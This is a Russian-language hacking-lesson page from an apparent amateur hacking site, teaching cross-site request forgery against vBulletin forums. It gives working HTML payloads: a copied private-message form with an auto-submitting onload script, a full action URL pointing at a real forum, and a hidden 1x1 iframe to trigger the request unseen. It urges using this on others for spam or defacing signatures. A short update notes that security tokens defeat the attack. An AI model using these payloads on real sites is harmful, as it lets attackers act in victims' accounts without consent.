Главная Мой профиль Регистрация Выход Вход
Пт
15.12.2017
05:23
Приветствую Вас Гость | RSS ВходРегистрацияГлавная
Поиск
Друзья сайта
Опрос
Ваша операционная система?
1. Windows 7
2. Windows XP
3. Другое
4. Windows Vista
5. Debian Linux
6. Дистр. из другого семейства Linux
7. RedHat Linux
8. *BSD Unix (Free BSD, OpenBSD, etc.)
9. Slackware Linux
Всего ответов: 384
Статистика




Онлайн всего: 1
Гостей: 1
Пользователей: 0



Главная » Уроки » Класс 2

XSRF
Урок 6

С возвращением меня, возвращенца! biggrin На этот раз без лирических вступлений, сразу приступим к следующему типу уязвимостей...

XSRF или CSRF

XSRF - Cross Site Request Forgery (X и C взаимозаменяются по аналогии с xss, но можно встретить и название CSRF), а по-русски - межсайтовая подстановка запроса.
Уязвимость возникает вследствие отсутствия проверки источника данных, передаваемых скриптам сервера. Позволяет передать заранее сформированные данные форм ввода (напр. отправка сообщений, смена подписи\аватара) с другого узла скриптам атакуемого ресурса. При этом передаются те же данные, которые мог бы ввести сам пользователь. Но никогда не стал бы wink
Может не очень правильно объяснил, ибо своими словами smile Короче, теперь поясню суть доступнее. Есть на форуме возможность отправки сообщений. Можно сформировать такой html-код, что при его открытии в браузере, пользователь, запустивший код (и при этом авторизованный на том самом форуме), сам того не зная, отправляет админу матерные сообщения... biggrin ну это только например, всё зависит от нашей фантазии wink

Поиск уязвимости

Ищется империческим путём, в народе так же именуемым методом тыка. xD
Так же многие сканеры уязвимостей веб-интерфейсов (напр. w3af, jsky и т.п.) умеют анализировать возможность проведения xsrf-атаки.
Получается, что проверять, есть уязвимость или нет, мы будем в процессе её эксплуатирования. Сначала заготовим (сформируем) запрос, а потом проверим, сработает или нет. loony

Проводим XSRF-атаку

Суть формировки запроса к атакуемому ресурсу заключается в сохранении кода формы отправки запроса (1), подстановки в неё наших значений (2) и создания кода автоисполнения запроса (3). Далее разберём каждый пункт подробно. В качестве жертвы выберем сами себя, можете проверять на любом форуме, где вы зарегестрированы. Что будете с собой делать - решать вам) Можно отправить самому себе сообщение для начала, а можно и подпись поменять на "я идиот" biggrin (но это уже для врагов, а не для себя xD).
Я буду разбирать всё на примере отправки сообщения самому себе на форуме под булкой (VBulletin). Первый попавшийся лично мне под руку был HPC rolleyes

1) Сохраняем нужный код. Если решили отправлять сообщения, зайдём на страницу отправки (мой кабинет -> новое сообщение) и откроем исходный код. Отсюда нам понадобится не всё, а только форма отправки сообщения (заключена в теги ). Ищем в исходном коде слова, находящиеся в форме отправки где-нибудь в начале. Я буду искать текст "Список получателей". Тут же рядом находится открывающий тег <="" form="">и копируем в текстовик всё, что между ними. У меня получилось вот такое безобразие.
2) Подставляем значения (формируем запрос). Надеюсь, все читающие знают или хотя бы понимают html, поэтому без проблем вкурят, по какому принципу будут выполнять подстановку в будущем самостоятельно (вне этого римера). Итак, обратимся к странице отправки сообщения: 


Как видим, нам нужно заполнить 3 поля: получатель (1), тема сообщения (2) и сам текст (3). Давайте найдём их в сохранённом коде wacko Есть тут такая фишка: можно ввести в поля, например, слово "упячка", нажать "Предварительный просмотр сообщения" и моментально найти по этому слову в коде, куда нужно подставлять свои значения. Ткая вот военная хитрость! wink
Вот получатели (строка 43):
Code

<div>Список получателей</div>
       <div id="pmrecips"><textarea id="pmrecips_txt" name="recipients" rows="1" cols="50" tabindex="1">M@ZAX@KEP</textarea></div>

Обратите внимание, что кроме textarea так же распространены простые формы ввода (input type="text"), где значение (содержимое формы) вписывается в параметр value, как в случае с заголовком сообщения (строка 104):
Code
<td class="smallfont" colspan="3">Заголовок:</td>
    </tr>
    <tr>
     <td><input type="text" class="bginput" name="title" value="ZADROT_POWER FOREVER!" size="50" maxlength="85" tabindex="1" /></td>

А вот и само сообщение (строка 333):
Code

<textarea name="message" id="vB_Editor_001_textarea" rows="10" cols="60" style="display:block; width:380px; height:250px" tabindex="1" dir="ltr">Здесь текст сообщения. Какой хотите))</textarea>

2) Делаем автовыполнение запроса.
Для этого в конец нашего кода нужно дописать такую строку:

Code
</body></html>

Чтобы закрыть все теги, а в самое начало добавим строку
Code
<html><body onload="document.forms['NAME'].submit();">

, где NAME нужно заменить на имя вашей формы.
Пример: если тег формы в начале был такой:
Code

<form action="private.php?do=insertpm&pmid=0" method="post" name="vbform" onsubmit="return vB_Editor['vB_Editor_001'].prepare_submit(this.title.value, 0)">
, то имя формы здесь vbform (name="vbform"), то есть NAME заменяем на vbform.
Этот код будет выполнять действие submit сразу после загрузки формы.
Чуть не забыл самую важную вещь! Для того, чтобы форма находила скрипт-обработчик, куда нужно отправлять все данные формы, нужно в теге формы атрибуту action прописать полный путь до скрипта. То есть сейчас мы имеем относительный путь:
Quote
action="private.php?do=insertpm&pmid=0" method="post" name="vbform" onsubmit="return vB_Editor['vB_Editor_001'].prepare_submit(this.title.value, 0)">
, а нужен нам полный:
Quote
action="https://hacker-pro.net/private.php?do=insertpm&pmid=0" method="post" name="vbform" onsubmit="return vB_Editor['vB_Editor_001'].prepare_submit(this.title.value, 0)">

Это очень частая ошибка! Сам в этом только что убедился, потому что наступил на эти грабли biggrin
Думаю, в этом не было абсолютно ничего сложного. Сохраняем наш код в файлс расширением .html и будем проверять, сработает ли атака smile

Тестирование

Удостоверьтесь, что вы авторизованы на форуме и просто откройте в браузере только что сохранённый файл. Ждём пару секунд до полной загрузки и... после отправки сообщения нас перекидывает обратно в личный кабинет (нет, это не мы сделали, так форум устроен xD) и тут же результат: входящее сообщение от самого себя. xD Как видим, всё прекрасно работает! smile

Практическое применение

Итак, у нас всё заработало и сами себе мы сообщение отправить можем. Это конечно хорошо, но "Как это можно использовать?" - спросите вы. Да элементарно, Ватсон! xD Заливаем нашу страничку на любой хостинг и каждый, кто пройдёт по ссылке на нашу страницу, будет выполнять этот код (при услови, что он авторизован на сайте, чтобы выполнить запрос) и отправлять нам это сообщение. Нетрудно догадаться, что, модифицировав код под наши конкретные нужды, можно в принципе заставить пользователя совершить почти любое действие. Всё зависит от атакуемого ресурса, ваших целей и фантазии! =) Суть уловили? Врубайте фантазию и смекалку! biggrin

//Update (от 04.03.2011)
{
Обрадовались? Рано. =) Залейте ту же страницу на локалхост или любой хостинг и зайдите на неё. Работает? Хрен. Анализируем наши ошибки. Внимательно посмотрите, какие данные передаются "атакуемому" серверу из формы отправки сообщения. Особенно нас будет интересовать то, чего не видно простым смертным. Скрытые поля:
Code

<input type="hidden" name="do" value="process" />
<input type="hidden" name="quicksearch" value="1" />
<input type="hidden" name="childforums" value="1" />
<input type="hidden" name="exactname" value="1" />
<input type="hidden" name="s" value="" />
<input type="hidden" name="securitytoken" value="1299250106-6d087ee2302078af38a29dcec38647831288b404" />

Здесь name="securitytoken" как бы намекает (; Включив соображалку, можно догадаться, что значение поля генерируется при запросе формы отправки сообщения и сверяется каждый раз при передачи данных формы серверу. Ясен пень, значение рандомное и уникальное для каждого юзера. Посему, наш скрипт с XSRF здесь отработает только 1 раз... и только под нашим же аккаунтом.

Сделали важный вывод - перед тем, как хакать интернеты (lol), проверяем форму на налчие подобных скрытых полей. Ну и не забывваем реализовывать подобный механизм идентификации пользователя при написании собственных веб-приложений. Самым очевидным решением является использование в качестве контрольного значения идентификатора сессии. Жаль только, что печеньку можно запросто отсниффать, так что для искушённых есть более надёжные методы.

Однако это не значит, что всё вышенаписанное - бесполезный бред. При нормальных условиях (атм. давление 101 кПа и t=273 Кельвина ;D), отсутствии механизма проверки пользователя, данная атака будет осуществима.
}


Теперь пару слов о том, как сделать код менее палевным, чтобы его не было видно жертве.
Создайте файл .html с таким содержимым:
Code
<html>
<title>
Заголовок страницы
</title>
<bоdу background="http://адрес к картинке/">
<ifrаmе src="1.html" width="1" height="1"></ifrаmе>
</bоdу></html>

1.html замените на имя вашего файла с XSRF-кодом и залейте оба файла в одну папку на хостинге. Теперь, дав ссылку жертве на последний файл, она будет смотреть картинку, а действие уже выполнится. Суть заключена в теге ifrаmе. По сути вы можете вставить этот код в любой html-файл (и даже при помощи xss-уязвимости можно провести xsrf-атаку wink ) для незаметного выполнения атаки:
Code
<ifrаmе src="http://yourhost.ru/xsrf.html" width="1" height="1"></ifrаmе>

"http://yourhost.ru/xsrf.html" коментировать не нужно? xD

Подведём скромные итоги

  • Мы узнали о ещё одном виде уязвимостей
  • Научились проводить XSRF-атаки
  • Знаем теперь, откуда берётся спам в контакте, даже если аккаунт не взламывали
  • Знаем, зачем для смены пароля нужно ввести старый и понимаем, что можно сделать, если пароль меняется без подтверждения

    Вот вам и мозговая гимнастика: из последних 2 пунктов сделать для себя чёткие выводы, додумать всё до конца и напридумывать ещё 1001 способ применения этой уязвимости. biggrin



    Категория: Класс 2 | Добавил: M@ZAX@KEP (25.07.2010)
    Просмотров: 4554 | Рейтинг: 5.0/1


    Форма входа
    Логин:
    Пароль:
    Меню сайта
    Категории
    Класс 1
    Здесь учат самым элементарным вещам. Этот уровень необходимо посетить тем, кто ещё плохо ориентируется в компьютерах.
    Класс 2
    Здесь даются основные навыки хакерства. Этот класс для тех кто давно на "ты" с компьютерами, изучил винду вдоль и поперёк, а потом устал просто так сёрфить по инету и решил научится ещё чему-нибудь ;)
    Уроки PHP
    Мини-уроки php by JUMP
    Мини-чат
        Все материалы на сайте предоставлены исключительно в ознакомительных целях.
         Администрация не несет никакой ответственности за последствия их использования.